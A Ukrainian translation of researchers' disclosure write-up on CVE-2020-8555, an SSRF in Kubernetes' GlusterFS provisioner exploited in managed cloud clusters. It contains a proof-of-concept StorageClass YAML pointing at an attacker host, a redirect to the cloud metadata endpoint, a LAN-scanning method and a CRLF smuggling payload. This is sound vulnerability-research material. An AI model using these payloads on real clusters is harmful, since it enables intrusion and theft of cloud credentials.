Коли справа не тільки у вразливості у Kubernetes…

Прим. перев.: автори цієї статті у подробицях розповідають про те, як їм вдалося виявити вразливість CVE-2020-8555 у Kubernetes. Хоча спочатку вона і виглядала не дуже небезпечною, у поєднанні з іншими факторами її критичність у деяких хмарних провайдерів виявилася максимальною. За проведену роботу фахівців щедро винагородили одразу кілька організацій.

Коли справа не тільки у вразливості у Kubernetes…

Хто ми такі

Ми є двома французькими дослідниками в галузі безпеки, які спільно виявили вразливість у Kubernetes. Нас звуть Brice Augras та Christophe Hauquiert, але на багатьох Bug Bounty-платформах ми відомі як Reeverzax та Hach відповідно:

Що сталося?

Ця стаття — наш спосіб розповісти про те, як рядовий дослідницький проект несподівано перетворився на найцікавішу пригоду в житті мисливців за багами (принаймні зараз).

Як вам, напевно, відомо, у мисливців за багами є кілька особливостей:

  • вони живуть на піцах та пиві;
  • вони працюють тоді, коли решта сплять.

Ми не виняток із цих правил: зазвичай зустрічаємося у вихідні дні та проводимо безсонні хакерські ночі. Але одна з таких ночей закінчилася дуже незвично.

Спочатку ми збиралися зустрітися, щоб обговорити участь у CTF на наступний день. Під час бесіди про безпеку Kubernetes у керованому сервісному середовищі згадали про стару ідею SSRF (Server-Side Request Forgery) і вирішили спробувати використовувати її як сценарій атаки.

О 11 вечора сіли за дослідження, а спати вирушили рано-вранці, дуже задоволені результатами. Саме через ці дослідження ми натрапили на програму MSRC Bug Bounty і вигадали експлойт з ескалацією привілеїв.

Пройшло кілька тижнів/місяць, і наш несподіваний результат дозволив здобути одну з найвищих нагород в історії Azure Cloud Bug Bounty – на додаток до тієї, яку ми отримали від Kubernetes!

За мотивами нашого дослідницького проекту, комітет Kubernetes Product Security Committee опублікував CVE-2020-8555.

Тепер хотілося б якнайбільше поширити інформацію про знайдену вразливість. Сподіваємося, ви оціните знахідку та поділіться технічними подробицями з іншими членами infosec-спільноти!

Отже, ось наша історія…

Контекст

Щоб максимально повно довести зміст події, давайте спочатку розглянемо, як Kubernetes працює в умовах керованого середовища хмарного середовища.

Коли ви створюєте екземпляр кластера Kubernetes у такому середовищі, за роботу керуючого шару зазвичай відповідає постачальник хмарних послуг:

Коли справа не тільки у вразливості у Kubernetes…
Керуючий шар знаходиться в периметрі хмарного провайдера, тоді як вузли Kubernetes знаходяться в периметрі клієнта

Для динамічного виділення томів використовується механізм динамічного їх надання із зовнішнього storage-бекенду та зіставлення з PVC (persistent volume claim, тобто запитом на тому).

Таким чином, після того, як PVC створений і прив'язаний до StorageClass в кластері K8s, подальші дії з надання тому бере на себе kube/cloud controller manager (його точна назва залежить від релізу). (Прим. перев.: Докладніше про CCM на прикладі його реалізації для одного з хмарних провайдерів ми вже писали тут.)

Існує кілька різновидів provisioner'ів, що підтримуються Kubernetes: більшість з них включені в ядро оркестратора, а інші керуються додатковими provisioner'ами, які розміщуються в pod'ах у кластері.

У своєму дослідженні ми сфокусувалися на внутрішньому механізмі надання томів, який показано нижче:

Коли справа не тільки у вразливості у Kubernetes…
Динамічне надання томів з використанням вбудованого provisioner'а Kubernetes

Якщо коротенько, коли Kubernetes розгорнуть у керованому середовищі, за роботу controller manager'а відповідає постачальник хмарних послуг, але запит створення тома (номер 3 на схемі вище) залишає межі внутрішньої мережі хмарного провайдера. І ось тут ситуація стає по-справжньому цікавою!

Сценарій злому

У цьому розділі ми розповімо, як скористалися вищезазначеним робочим процесом та отримали доступ до внутрішніх ресурсів постачальника хмарних послуг. Крім того, буде показано, як можна здійснити певні дії, наприклад, отримати внутрішні облікові дані або провести ескалацію привілеїв.

Одна проста маніпуляція (в даному випадку це Service Side Request Forgery) допомогла вийти за межі клієнтського середовища в кластерах різних постачальників послуг з керованого K8s.

У своїх дослідженнях ми зосередилися на provisioner'і GlusterFS. Незважаючи на те, що подальша послідовність дій описана в такому контексті, цієї ж уразливості схильні Quobyte, StorageOS і ScaleIO.

Коли справа не тільки у вразливості у Kubernetes…
Зловживання механізмом динамічного надання томів

Під час аналізу класу сховищ GlusterFS у вихідниках клієнта на Golang ми помітили, що при першому HTTP-запиті (3), відправленому під час створення тома, до кінця користувача URL у параметрі resturl додається /volumes.

Позбутися цього додаткового шляху ми вирішили додаванням # у параметр resturl. Ось перша YAML-конфігурація, яку ми використовували для перевірки на наявність «насліпої» SSRF-вразливості (Докладніше про semi-blind або half-blind SSRF можна прочитати, наприклад, тут - прим. перев.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Потім для віддаленого керування кластером Kubernetes скористалися бінарником кубектл. Як правило, хмарні провайдери (Azure, Google, AWS тощо) дозволяють отримати облікові дані для їх використання у цій утиліті.

Завдяки цьому і вдалося застосувати свій «особливий» файл. Kube-controller-manager виконав результуючий HTTP-запит:

kubectl create -f sc-poc.yaml

Коли справа не тільки у вразливості у Kubernetes…
Відповідь з погляду атакуючого

Незабаром після цього ми також змогли отримати HTTP-відповідь від цільового сервера через команди describe pvc або get events в Kubectl. І дійсно: цей драйвер Kubernetes за умовчанням надто багатослівний у своїх попередженнях/повідомленнях про помилки.

Ось приклад із посиланням на https://www.google.fr, встановленою як параметр resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Коли справа не тільки у вразливості у Kubernetes…

В рамках такого підходу ми були обмежені запитами типу HTTP POST і не могли отримати вміст тіла відповіді, якщо код, що повертався 201. Тому вирішили провести додаткові дослідження та розширили цей сценарій злому новими підходами.

Еволюція наших досліджень

  • Просунутий сценарій №1: використання 302-го редиректа із зовнішнього сервера для зміни методу HTTP, щоб отримати більш гнучкий спосіб збирання внутрішніх даних.
  • Розширений сценарій №2: автоматизація сканування LAN та виявлення внутрішніх ресурсів.
  • Просунутий сценарій №3: використання HTTP CRLF + smuggling («контрабанди» запитів) для створення адаптованих HTTP-запитів та отримання даних, вилучених із логів kube-controller'а.

Технічні специфікації

  • У дослідженнях використовувався Azure Kubernetes Service (AKS) з Kubernetes версії 1.12 у регіоні North Europe.
  • Описані вище сценарії виконувались останніх релізах Kubernetes крім третього сценарію, т.к. йому був потрібний Kubernetes, зібраний з Golang версії ≤ 1.12.
  • Зовнішній сервер атакуючого https://attacker.com.

Просунутий сценарій №1: редирект HTTP-запиту POST у GET та отримання конфіденційних даних

Початковий спосіб був покращений конфігурацією сервера зловмисника на повернення 302 HTTP Retcode, щоб конвертувати POST-запит у GET-запит (крок 4 на схемі):

Коли справа не тільки у вразливості у Kubernetes…

Перший запит (3) від клієнта GlusterFS (Controller Manager) має тип POST. Виконавши наступні кроки, ми змогли перетворити його на GET:

  • Як параметр resturl у StorageClass вказується http://attacker.com/redirect.php.
  • Кінцева точка https://attacker.com/redirect.php відповідає статус-кодом 302 HTTP з наступним Location Header'ом: http://169.254.169.254. Це може бути будь-який інший внутрішній ресурс — у цьому випадку redirect-посилання використовується виключно як приклад.
  • За замовчуванням бібліотека net/http Golang'а перенаправляє запит і конвертує POST у GET з 302-м статус-кодом, внаслідок чого на цільовий ресурс надходить HTTP-запит GET.

Щоб прочитати тіло HTTP-відповіді, потрібно зробити describe об'єкта PVC:

kubectl describe pvc xxx

Ось приклад HTTP-відповіді у форматі JSON, який нам вдалося отримати:

Коли справа не тільки у вразливості у Kubernetes…

Можливості знайденої вразливості на той момент були обмежені через такі моменти:

  • Неможливість вставити HTTP-заголовки у вихідний запит.
  • Неможливість виконувати POST-запит із параметрами в тілі (так зручно вимагати значення ключа у екземпляра etcd, що працює на 2379 порту, якщо використовується незашифрований HTTP).
  • Неможливість отримати вміст тіла відповіді, коли статус-код дорівнював 200 і відповідь не мала JSON Content-Type.

Розширений сценарій №2: сканування локальної мережі

Цей метод half-blind SSRF потім використовувався для сканування внутрішньої мережі постачальника хмарних послуг та опитування різних слухачів (екземпляр Metadata, Kubelet, etcd) на основі відповідей kube controller'а.

Коли справа не тільки у вразливості у Kubernetes…

Спершу було визначено стандартні слухачі порти компонентів Kubernetes (8443, 10250, 10251 тощо), а потім довелося автоматизувати процес сканування.

Бачачи, що цей спосіб сканування ресурсів дуже специфічний і не сумісний із класичними сканерами та SSRF-інструментами, ми вирішили створити власні worker'и у bash-скрипті, які автоматизують весь процес.

Наприклад, щоб швидше просканувати діапазон 172.16.0.0/12 внутрішньої мережі, паралельно запускалися 15 worker'ів. Вищевказаний діапазон IP був вибраний виключно як приклад і може бути змінений на IP-діапазон конкретного постачальника послуг.

Щоб просканувати одну IP-адресу і один порт, необхідно зробити таке:

  • видалити перевірений минулого разу StorageClass;
  • видалити попередній перевірений Persistent Volume Claim;
  • змінити значення IP та Port в sc.yaml;
  • створити StorageClass з новим IP та портом;
  • створити новий PVC;
  • отримати результати сканування за допомогою describe'а для PVC.

Розширений сценарій №3: ін'єкція CRLF + smuggling HTTP у «старих» версіях кластера Kubernetes

Якщо на додаток до цього провайдер пропонував клієнтам старі версії кластера K8s и відкривав їм доступ до логів kube-controller-manager'а, ефект ставав ще значнішим.

Зловмиснику дійсно набагато зручніше змінювати на свій розсуд HTTP-запити, призначені для отримання повного HTTP-відповіді.

Коли справа не тільки у вразливості у Kubernetes…

Для реалізації останнього сценарію мали виконуватися такі умови:

  • Користувач повинен мати доступ до логів kube-controller-manager (як, наприклад, Azure LogInsights).
  • Кластер Kubernetes повинен використовувати версію Golang нижче 1.12.

Ми розгорнули локальне оточення, що імітує обмін даними між Go-клієнтом GlusterFS і підробленим цільовим сервером (поки утримаємося від публікації PoC).

Була виявлена вразливість, що стосується версії Golang нижче 1.12 і дозволяла хакерам проводити атаки типу HTTP smuggling/CRLF.

Об'єднавши описану вище half-blind SSRF разом з цього ми змогли надсилати запити на свій смак, включаючи заміну заголовків, методу HTTP, параметрів і даних, які kube-controller-manager потім обробляв.

Ось приклад робочої «наживки» у параметрі resturl StorageClass'а, яка реалізує подібний сценарій атаки:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

В результаті виникає помилка unsolicited response, повідомлення про яку записується в логі контролера. Завдяки включеній за умовчанням «багатослівності» туди ж зберігається і вміст HTTP-повідомлення у відповідь.

Коли справа не тільки у вразливості у Kubernetes…

Це була наша найрезультативніша наживка в рамках proof of concept.

Використовуючи такий підхід, ми змогли провести деякі з наступних атак у кластерах різних постачальників managed k8s: ескалація привілеїв з отриманням облікових даних на metadata-інстансах, DoS майстри за допомогою (незашифрованих) HTTP-запитів на майстер-екземплярах etcd і т.п.

Наслідки

В офіційній заяві Kubernetes з приводу виявленої нами SSRF-уразливості їй було надано рейтинг CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Якщо розглядати тільки вразливість, пов'язану з периметром Kubernetes, то вектор цілісності (integrity vector) у ній кваліфікується як ніхто.

Проте оцінка можливих наслідків у контексті керованого сервісного оточення (і це була найцікавіша частина нашого дослідження!) спонукала нас перекваліфікувати вразливість на рейтинг Critical CVSS10/10 для багатьох дистриб'юторів.

Нижче наведено додаткову інформацію, яка допоможе зрозуміти, чим ми керувалися при оцінці можливих наслідків у хмарних оточеннях:

цілісність

  • Віддалене виконання команд за допомогою отриманих внутрішніх облікових даних.
  • Відтворення вищеописаного сценарію за допомогою IDOR (Insecure Direct Object Reference, тобто небезпечних прямих посилань на об'єкти) з іншими ресурсами, виявленими в локальній мережі.

Конфіденційність

  • Атака типу Бічний рух завдяки крадіжці хмарних облікових даних (наприклад, metadata API).
  • Збір інформації за допомогою сканування локальної мережі (визначення версії SSH, версії сервера HTTP, …).
  • Збір інформації про екземпляри та інфраструктуру шляхом опитування внутрішніх API, таких як metadata API (http://169.254.169.254, ...).
  • Крадіжка даних клієнтів за допомогою хмарних облікових даних.

Доступність

Усі сценарії застосування експлойтів, пов'язані з векторами атаки на integrity (цілісність)можуть бути використані для руйнівних дій і призводити до того, що майстер-інстанси з клієнтського периметра (або будь-якого іншого) будуть недоступні.

Оскільки ми знаходилися в керованому середовищі K8s і оцінювали вплив на цілісність, можна уявити безліч сценаріїв, здатних вплинути на доступність. Як додаткові приклади наведемо пошкодження бази даних etcd або виконання критичного виклику до API Kubernetes.

Хронологія

  • 6 грудня 2019 р.: надсилання повідомлення про виявлену вразливість до MSRC Bug Bounty.
  • 3 січня 2020 року: третя сторона поінформувала розробників Kubernetes про те, що ми працюємо над проблемою в галузі безпеки. І попросила їх розглядати SSRF як внутрішню (in-core) вразливість. Після цього ми подали загальний звіт з технічними подробицями про джерело проблеми.
  • 15 січня 2020 року: ми надали розробникам Kubernetes технічний та загальний звіти за їх запитом (через платформу HackerOne).
  • 15 січня 2020 року: розробники Kubernetes повідомили нам, що half-blind SSRF + ін'єкція CRLF для минулих релізів вважається вразливістю in-core. Ми відразу припинили аналіз периметрів інших постачальників послуг: першопричиною тепер займалася команда K8s.
  • 15 січня 2020 року: через HackerOne отримано винагороду від MSRC.
  • 16 січня 2020 року: Kubernetes PSC (Product Security Committee) визнав вразливість і попросив тримати її в таємниці до середини березня через велику кількість потенційних жертв.
  • 11 лютого 2020 року: отримано винагороду від Google VRP.
  • 4 березня 2020 року: через HackerOne отримано винагороду від Kubernetes.
  • 15 березня 2020 року: спочатку заплановане публічне розкриття відкладено через ситуацію з COVID-19.
  • 1 червня 2020 року: спільна заява Kubernetes + Microsoft про вразливість.

TL, д-р

  • Ми п'ємо пиво та їмо піцу 🙂
  • Ми знайшли in-core-уразливість у Kubernetes, хоча зовсім не збиралися це робити.
  • Ми провели додатковий аналіз у кластерах різних хмарних провайдерів і змогли збільшити збитки, завдані вразливістю, щоб отримати додаткові шалені бонуси.
  • У цій статті ви знайдете багато технічних подробиць. Ми з радістю обговоримо їх із вами (Twitter: @ReeverZax & @__hach_).
  • Виявилося, що всілякі формальності та складання звітів займають набагато більше часу, ніж очікувалося.

Посилання

PS від перекладача

Читайте також у нашому блозі:

Джерело: habr.com

Додати коментар або відгук